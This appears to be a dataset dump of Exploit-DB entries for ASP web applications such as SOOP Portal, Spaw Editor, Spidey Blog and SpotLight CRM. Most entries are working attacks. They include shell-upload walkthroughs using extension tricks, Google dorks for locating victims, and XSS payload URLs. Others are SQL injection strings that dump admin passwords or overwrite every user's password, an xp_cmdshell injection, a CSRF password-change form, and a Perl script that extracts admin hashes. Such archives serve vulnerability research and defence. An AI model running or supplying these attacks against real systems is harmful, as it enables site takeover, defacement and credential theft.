deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17176
Description: SoftXMLCMS - Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2011-04-16
Author: Alexander

Exploit:
###########################################################################

Exploit Title : softxmlcms  Shell Upload Vulnerability

Google Dork : Powered by softxmlcms

Date : 2011-04-15 

Author : *Alexander* 

Software Link : http://www.softxml.com

Test On : Windows/asp/php

CVE : Web Applications

###########################################################################

===[ Exploit ]===  

http://server/[patch]/XMLEditor2.0/uploadfile1.asp

Select the Choose File And Then Browse File.php  Or File.asp

===[ Upload To ]===

http://server/[patch]/images/File.php

Or

http://server/[patch]/images/File.asp

===[ Demo ]===

http://server/softxmlcms/XMLEditor2.0/uploadfile1.asp

###########################################################################

Greetz : http://Ashiyane.org/Forums

Behrooz_Ice , Q7X , Virangar , Black And All Ashiyane Defacers
Exploit-DB #37995
Description: SolarWinds Orion IP Address Manager (IPAM) - 'search.aspx' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2012-10-31
Author: Anthony Trummer

Exploit:
source: https://www.securityfocus.com/bid/56342/info

SolarWinds Orion IP Address Manager (IPAM) is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

SolarWinds Orion IP Address Manager (IPAM) 3.0 is affected; other versions may also be vulnerable. 

http://www.example.com/Orion/IPAM/search.aspx?q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%27hi%27%29%3C%2Fscript%3E
Exploit-DB #35065
Description: SolarWinds Orion Network Performance Monitor (NPM) 10.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-12-07
Author: x0skel

Exploit:
source: https://www.securityfocus.com/bid/45257/info

SolarWinds Orion NPM is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

SolarWinds Orion Network Performance Monitor (NPM) 10.1 is vulnerable; other versions may also be affected. 

http://www.example.com/Orion/NetPerfMon/MapView.aspx?Map=4f89095c-35fa-4b1b-813f-231270=0225b7.OrionMap&Title=%3Cscript%3Ealert%28%27test%27%29%3C/script%3E

http://www.example.com/Orion/NetPerfMon/NodeDetails.aspx?NetObject=%3Cscript%3Ealert%28=%27test%27%29%3C/script%3E

http://www.example.com/Orion/NPM/InterfaceDetails.aspx?NetObject=%3Cscript%3Ealert%28%2=7test%27%29%3C/script%3E&I:100&view=InterfaceDetails

http://www.example.com/Orion/NetPerfMon/CustomChart.aspx?ChartName=%3Cscript%3Ealert%28=%27test%27%29%3C/script%3E&Title=&SubTitle=&SubTitle2=&Width=0&Height=0&NetObject=I:100&CustomPollerID=&Rows=&SampleSize=1M&Period=Yesterday&PlotStyle=&FontSize=1&NetObjectPrefix=I&SubsetColor=&R=YSubsetColor=&ResourceID=57&ShowTrend=True&ReturnTo=
Exploit-DB #26704
Description: Solupress News 1.0 - 'search.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-03
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15695/info

Solupress News is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/search.asp?option=simple&keywords=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&submit1=Find
Exploit-DB #15690
Description: SOOP Portal 2.0 - Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2010-12-05
Author: Net.Edit0r

Exploit:
#################################################################
#                           I N F O
# Exploit Title: SOOP Portal 2.0 Remote Upload Shell Vulnerability
# DDate: 05-12-2010
# Author: Net.Edit0r
# Software Link: www.soopportal.com
# Version: 2.0
# Tested on: windows server 2008
# Contact: Net.Edit0r@att.net ~ Black.hat.tm@gmail.com

[~]#########################################  E X P L O I T
#############################################[~]
#
#  1. Register On Site
#
#  2. http://server/member_form.asp?do=5&mid=4
#
#  3. Current avatar [ Browse/Upload ]
#
#  4. http://server/assetman3.asp?mode=1&ffilter=image
#
#  4. Asp renamed via the .asp;.jpg (shell.asp;.jpg)
#
#  5. http://server/uploads/ [You can get the address at the
See Shell Shell upload]
#
#  6. In this section, file in the folder that you have selected in
the previous section is placed .
#
#  7 . Example URL : http://server/uploads/
#
#  Dork : "SOOP Portal 2.0"
#
#
[~]#########################################  ThankS To ...
###########################################[~]
#
# Special Thanks To : HUrr!c4nE, Cair3x, B3hz4d, M4hd1,
Skitt3r,Hussin-v ,Virus_Baghdad ,snIPer alBlDeat
#
# 7-Team: virangar, H-SK33PY , farzadho ,n3me3iz ,mmilad200 , fr0nk,
bLaCk.bytE , Satanic2000
#
# BHG : Net.Edit0r ~ Darkcoder ~ AmIr_Magic  ~ keracker ~ Mikili
#
[~]#########################################   FinisH :D
#############################################[~]
Exploit-DB #15703
Description: SOOP Portal Raven 1.0b - Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2010-12-07
Author: Sun Army

Exploit:
# Exploit Title: SOOP Portal Raven 1.0b Remote Upload Shell Vulnerability
# Google Dork: "Powered by SOOP Portal Raven 1.0b"
# Date: 06-12-2010
# Author: Sun Army
# Version: Raven 1.0b
# Tested on: Win 2003



##################### Exploit ###################
#      
#    1.Register On Site
#  
#     2.Shell Renamed to .asp.jpg  ( shell.asp.jpg  )
#
#     3.Go This Page  --> http://site/forum/register.asp?fpn=2 
#
#     4. Brows And Upload SHell
#
#      5. go http://site/forum/register.asp?fpn=2    --> List Avatars  --> Your 
Personal 
#            Avatar  --> select your Shell and View shell Address in text box
#
#    
#      Google Dork :   ""Powered by SOOP Portal Raven 1.0b"
#
################################################

#  Reported By Turk_Server

#   Team
#   MagicCoder,Plus,Mehdy007,BodyGuard,Nitrojen26,The-Mostafa

#   KinG,Bl4ckl0rd,Turk_server

#   Special Thanks : Farzad_Ho,R3dMind,rAbiN_hoOd,Falcon
Exploit-DB #17228
Description: SOOP Portal Raven 1.0b - SQL Injection
Type: webapps
Platform: asp
Date: 2011-04-29
Author: Evil-Thinker

Exploit:
# Exploit Title: SOOP Portal Raven 1.0b sql injection
# Google Dork: Powered by SOOP Portal Raven 1.0b
# Date: [date]
# Author: Evil-Thinker
# Version: Raven 1.0b
# Tested on: Windows
# Soft Technologie : ASP.net

Exploit Details :
----------------------------------------------------------------
1- Register On the Target 

2- Browse This Link : /forum/pm_show_message.asp?ID=  "it's a message on Your Inbox"

3- Poc: www.site.com//forum/pm_show_message.asp?ID=(inject here)
----------------------------------------------------------------

****** SSMM T34M ******
Greatz : Zakacinho , Michel , and all SSMM Members 
****** SSMM T34M ******
Exploit-DB #17242
Description: Sothink DHTML Menu - SQL Injection
Type: webapps
Platform: asp
Date: 2011-05-04
Author: Caddy-Dz

Exploit:
=====================================================================
                      .__         .__  __            .__    .___

  ____ ___  _________ |  |   ____ |__|/  |_          |__| __| _/
_/ __ \\  \/  /\____ \|  |  /  _ \|  \   __\  ______ |  |/ __ | 
\  ___/ >    < |  |_> >  |_(  <_> )  ||  |   /_____/ |  / /_/ | 

 \___  >__/\_ \|   __/|____/\____/|__||__|           |__\____ | 
     \/      \/|__|                                          \/ 
 
			Exploit-ID is the Indonesian Exploit Archive
 
Web             : exploit-id.com	

e-mail          : root[at]exploit-id.com               

            	   	 #########################################			  
		  	    Caddy-Dz , member of exploit-id.com				

                         #########################################			  
======================================================================
####
# Exploit Title: dhtml-menu-builder SQL Injection Vulnerability
# Author: Caddy-Dz
# Facebook Page: www.facebook.com/islam.caddy
# E-mail: islam_babia@hotmail.com  |  Caddy-Dz@exploit-id.com
# Category:: webapps
# Google dork: http://www.google.com/#q=intext%3A%22Powered+by+dhtml-menu-builder.com%22+inurl%3A.asp%3Fid%3D&hl=en&biw=1280&bih=709&prmd=ivns&ei=xES_TdTxI4-58gPk_ozUBQ&start=20&sa=N&fp=4fb1180a34b58d1d
#Vendor: http://dhtml-menu-builder.com
# Tested on: [Windows Vista Edition Intégrale]
####

||>> Special Thanks To: All Exploit-Id Team

[*] ## ExPLo!T:

#  http://127.0.0.1/[File.asp]?id=SQLI

#  http://127.0.0.1/[Path]/[File.asp]?id=SQLI

###


=================================**Algerians Hackers**=======================================
# Greets To : 
  KedAns-Dz & **All Algerians Hackers** , jos_ali_joe , All Exploit-Id Team ,  All My Friends:  
  T!riRou , ChoK0 , MeRdaw! , CaRras0 , StiffLer , MaaTar , St0fa , Nissou , RmZ ...others
============================================================================================
Exploit-DB #12672
Description: Spaw Editor 1.0/2.0 - Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2010-05-20
Author: Ma3sTr0-Dz

Exploit:
# Tilte: Spaw Editor v1.0 & 2.0 Remote File Upload .

# Date....................: [20-05-2010]
# Author..................: [Ma3sTr0-Dz]
# Location ...............: [Algeria]
# Software ...............: [Spaw Editor v1 & v2] 
# Impact..................: [Remote]
# Site Software ..........: [http://www.spaweditor.com]
# Sptnx ..................: [CmOs_Clr & Sec4ever Memberz.]
# Home : .................: [Www.Sec4ever.Com/home/ For Latest 2010 Localz & priv8 Exploits !]
# Contact me : ...........: [o5m@hotmail.de]

# Vulnerability: Remote File Upload .

# Part ExplOit & Bug Codes :

Dork [ allinurl:spaw2/dialogs/ ]

Exploit :

For Windows & ASP Sites : 

/spaw2/dialogs/dialog.aspx?module=spawfm&dialog=spawfm&theme=spaw2&#12296;=en&charset=utf-8&scid=2d0650b7920a4fbf87598f8d58b4a99b&type=images

/spaw2/uploads/files/sec4ever.asp;.jpg

=====================================

For Linux PHP :

/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&#12296;=en&charset=utf-8&scid=2d0650b7920a4fbf87598f8d58b4a99b&type=files

/spaw2/uploads/files/sec4ever.jpg.php

=====================================

Special Thanks to : Exploit-db Team &  Www.Sec4ever.com/home [ Latest Shellcodez - Security News - Priv8 Exploits &
 Localz ] .
Exploit-DB #33715
Description: Spectrum Software WebManager CMS - 'pojam' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2010-03-05
Author: hacker@sr.gov.yu

Exploit:
source: https://www.securityfocus.com/bid/38573/info

Spectrum Software WebManager CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/Search_1.aspx?pojam=[XSS]
Exploit-DB #1849
Description: Speedy ASP Forum - 'profileupdate.asp' User Pass Change
Type: webapps
Platform: asp
Date: 2006-05-29
Author: ajann

Exploit:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><META http-equiv="Content-Type" content="text/html; charset=utf-8"></head><body>

<div bgcolor="#000000">
<form name="InputForm" method="post" target="_blank" onsubmit="return window.confirm(&quot;You are submitting information to an external page.\nAre you sure?&quot;);">
<b><font color="#808080" face="Verdana">Speedy Forum User Pass Change //
ajann</font></b><p><font face="Verdana" size="2" color="#FF0000"><b>User 
Name    
:   </b></font>
<input type="text" name="name" value="" size="20"> 
<font size="1" color="#C0C0C0" face="Arial"> Example: Surname 
Name</font><br>
<font face="Verdana" size="2" color="#FF0000"><b>User 
Mail        
:  </b></font>
<input type="text" name="email" value="" size="20">
<font size="1" color="#C0C0C0" face="Arial">   Example:
<a href="mailto:mail@domain.com" target="_blank">mail@domain.com</a></font><br>

<font face="Verdana" size="2" color="#FF0000"><b>User 
Ýd            
:  </b></font>
<input type="text" name="id" value="" size="20">
<font size="1" color="#C0C0C0" face="Arial">  Example: Ýd:1 
Admin</font><br>
<font face="Verdana" size="2" color="#FF0000"><b>User Country  :  
</b>
</font>
<select size="1" name="country">
<option value="0">Choose Country</option>
<option value="Turkey">Turkey</option>
</select> <font size="1" color="#C0C0C0" face="Arial"> Example: 
Turkey</font><br>

<b>

<font face="Verdana" size="2" color="#FF0000">User </font>
<font face="Verdana" size="2" color="#0000FF">Pass </font>
<font face="Verdana" size="2" color="#FF0000">      
:  </font></b>

<input type="text" name="password" value="Password" size="20"> 
<font size="1" color="#C0C0C0" face="Arial"> Example: 123456</font><br>
<b>
<font face="Verdana" size="2" color="#FF0000">User </font>
<font face="Verdana" size="2" color="#0000FF">RePass</font><font face="Verdana" size="2" color="#FF0000">  
:  </font></b>

<input type="text" name="passwordre" value="Re Password" size="20"> 
<font size="1" color="#C0C0C0" face="Arial"> Example: 123456</font><br>

<font face="Verdana" size="2" color="#FF0000"><b>Form Action    : 
</b>
</font>

<input type="text" name="adres" value="profileupdate.asp" size="20"> 
<font size="1" color="#C0C0C0" face="Arial"> Example: 
http://[target]/[path]/profileu<WBR>pdate.asp</font></p>

<p>

<input type="submit" name="Submit" value="Change"> </p>

<br>

 </form>

</div></body></html>

# milw0rm.com [2006-05-29]
Exploit-DB #23791
Description: SpiderSales 2.0 Shopping Cart - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2004-03-03
Author: Nick Gudov

Exploit:
source: https://www.securityfocus.com/bid/9799/info

Multiple vulnerabilities have been identified in the application that may allow an attacker to obtain the private cryptographic key and gain access to sensitive information. The application is also reported prone to an SQL injection vulnerability that may allow an attacker to gain administrative level access to the underlying database.

The issues exist due to improper implementation of the RSA cryptosystem by SpiderSales and failure to sanitize user-supplied input via the 'userId' URI parameter employed by various scripts.

SpiderSales version 2.0 is assumed to be vulnerable to these issues, however, other versions could be affected as well.

http://www.example.com/Carts/Computers/viewCart.asp?userID=[PII_REDACTED]';exec%20master..xp_cmdshell%20'dir%20c:%20>%20c:\inetpub\wwwroot\dirc.txt'--&viewID=48
Exploit-DB #2186
Description: Spidey Blog Script 1.5 - 'proje_goster.asp' SQL Injection (1)
Type: webapps
Platform: asp
Date: 2006-08-14
Author: ASIANEAGLE

Exploit:
###############################################################
#Spidey Blog Script <== 1.5 (tr) SQL Injection Vulnerability  #
#Author : ASIANEAGLE                                          #
#Site   : www.asianeagle.org                                  #
#Contact: admin@asianeagle.org                                #
###############################################################
#Risk   : High
#Download Link Of Spidey Blog : http://www.aspindir.com/Kategoriler/ASP/bloglar


#Exploit;
#Admin Nick;
http://[SITE]/[Spidey Blog Path]/proje_goster.asp?pid=-1%20union%20select%200,1,2,3,4,sifre,6%20from%20uyeler%20where%20id%20like%201

#Admin Password;
http://[SITE]/[Spidey Blog Path]/proje_goster.asp?pid=-1%20union%20select%200,1,2,3,4,kullanici_adi,6%20from%20uyeler%20where%20id%20like%201


#Greetz: Str0ke
Forever milw0rm ;)

# milw0rm.com [2006-08-14]
Exploit-DB #2421
Description: Spidey Blog Script 1.5 - 'proje_goster.asp' SQL Injection (2)
Type: webapps
Platform: asp
Date: 2006-09-24
Author: gega

Exploit:
#!usr/bin/perl

#Author : gega
#Google : "Spidey Blog Script (c) v1.5"
#SpideyBlog 1.5 Sql Injection Exploit
#Author Mail : gega.tr[at]gmail[dot]com
#Powered by e-hack.org
#Vulnerability by Asianeagle.
#Vulnerability Link : http://milw0rm.com/exploits/2186

use LWP::Simple;

print "\n==============================\n";
print "==      Spidey Blog v1.5    ==\n";
print "==   Sql Injection Exploit  ==\n";
print "==        Author : gega     ==\n";
print "==============================\n\n";

if(!$ARGV[0] or !$ARGV[0]=~/http/ or !$ARGV[1] or ($ARGV[1] ne 'password' and $ARGV[1] ne 'nick'))
{
	print "Usage : perl $0 [path] [function]\n";
	print "path ==> http://www.example.com/blog/\n";
	print "function ==> nick OR password\n";
	print "Example : perl $0 http://site.org/blog/ nick\n";
	exit(0);
}
else
{
	if($ARGV[1] eq 'nick'){
		$url=q[proje_goster.asp?pid=-1%20union%20select%200,1,2,3,4,kullanici_adi,6%20from%20uyeler%20where%20id%20like%201];
		$page=get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
		print "[+] Connected to: $ARGV[0]\n";
		$page=~m/<td width="100%" valign="top" height="19" colspan="3"><span class="normal_yazi">(.*?)<\/span><\/td>/ && print "[+] Username of administrator is: $1\n";
		print "[-] Unable to retrieve username\n" if(!$1); }
	else {
		$code=q[proje_goster.asp?pid=-1%20union%20select%200,1,2,3,4,sifre,6%20from%20uyeler%20where%20id%20like%201];
		$page=get($ARGV[0].$code) || die "[-]Unable to retrieve: $!";
		print "[+] Connected to: $ARGV[0]\n";
		$page=~m/<td width="100%" valign="top" height="19" colspan="3"><span class="normal_yazi">(.*?)<\/span><\/td>/ && print "[+] MD5 hash of password is: $1\n";
		print "[-] Unable to retrieve password\n" if(!$1);
	}
}
 
#To Be Or Not To Be!

# milw0rm.com [2006-09-24]
Exploit-DB #29373
Description: Spooky 2.7 - 'login/register.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-30
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/21822/info

Spooky Login is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

These issues affect version 2.7; other versions may also be vulnerable.

http://www.example.com/spooky/login/register.asp?UserUpdate=[sql]
Exploit-DB #2907
Description: SpotLight CRM 1.0 - 'login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-09
Author: ajann

Exploit:
*************************************************************************************
# Title   :  SpotLight CRM 1.0 (login.asp) | Remote SQL Injection Vulnerability
# Author  :   ajann
# Contact :   :(
# $$$     :  $2,499

*************************************************************************************


[[SQL]]]

###http://[target]/[path]//login.asp=[POST SQL]

Example:
-> All User UserName And Password Changed "kro"

// login.asp UserName: ';update login set password='kro'--
// login.asp UserName: ';update login set loginName='kro'--

[[/SQL]]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-09]
Exploit-DB #25700
Description: Spread The Word - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2005-05-24
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13733/info

Spread The Word is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/store/BrowseCategories.asp?Cat0=783&Cat0Literal=Gifts&Cat1=839&Cat1Literal=Bible[XSS-here]
http://www.example.com/store/BrowseCategories.asp?Cat0=783&Cat0Literal=Gifts&Cat1=839[XSS-here]&Cat1Literal=Bible
http://www.example.com/store/BrowseCategories.asp?Cat0=783&Cat0Literal=Gifts[XSS-here]&Cat1=839&Cat1Literal=Bible
http://www.example.com/store/BrowseCategories.asp?Cat0=783[XSS-here]&Cat0Literal=Gifts&Cat1=839&Cat1Literal=Bible
http://www.example.com/store/Search.asp?InStock=[XSS-here]&SearchType=783&strSearch=i&SearchCat1=-1&SearchCat2=-1&PriceMin=&PriceMax=&PublicationDate=-1
http://www.example.com/store/Search.asp?InStock=&SearchType=783&strSearch=[XSS-here]&SearchCat1=-1&SearchCat2=-1&PriceMin=&PriceMax=&PublicationDate=-1
http://www.example.com/store/Search.asp?InStock=&SearchType=783&strSearch=lol&SearchCat1=-1[XSS-here]&SearchCat2=-1&PriceMin=&PriceMax=&PublicationDate=-1
http://www.example.com/store/Search.asp?InStock=&SearchType=783&strSearch=lol&SearchCat1=-1&SearchCat2=-1[XSS-here]&PriceMin=&PriceMax=&PublicationDate=-1
http://www.example.com/store/Search.asp?InStock=&SearchType=783&strSearch=lol&SearchCat1=-1&SearchCat2=-1&PriceMin=[XSS-here]&PriceMax=&PublicationDate=-1
http://www.example.com/store/Search.asp?InStock=&SearchType=783&strSearch=lol&SearchCat1=-1&SearchCat2=-1&PriceMin=&PriceMax=[XSS-here]&PublicationDate=-1
http://www.example.com/store/AdvancedSearch.asp?strSearch=[XSS-CODE]&SearchType=-1&SearchCat1=-1&SearchCat2=-1&Author=dd&PublicationDate=-1&PriceMin=1&PriceMax=11111111&B1=Submit
http://www.example.com/store/ViewItem.asp?ISBN=[PII_REDACTED][XSS-here]&Cat0=565
http://www.example.com/store/ViewItem.asp?ISBN=[PII_REDACTED]&Cat0=565[XSS-here]
http://www.example.com/store/STWShowContent.asp?idRightPage=13032[XSS-CODE]
http://www.example.com/store/MySide.Asp?Cat0=565&Cat0Literal=Bibles[XSS-CODE]
http://www.example.com/store/BrowseMain.asp?Cat0=565[XSS-CODE]&Cat0Literal=Bibles&CurHigh=4
http://www.example.com/store/BrowseMain.asp?Cat0=565&Cat0Literal=Bibles[XSS-CODE]&CurHigh=4
http://www.example.com/store/BrowseMain.asp?Cat0=783&Cat0Literal=Gifts&CurHigh=3"><script>alert(document.cookie)</script>
http://www.example.com/store/NewCustomer.asp?newemail=zzzz@lalala.es&RedirectURL=[XSS-CODE]
http://www.example.com/store/Login.asp?RedirectURL=[XSS-code]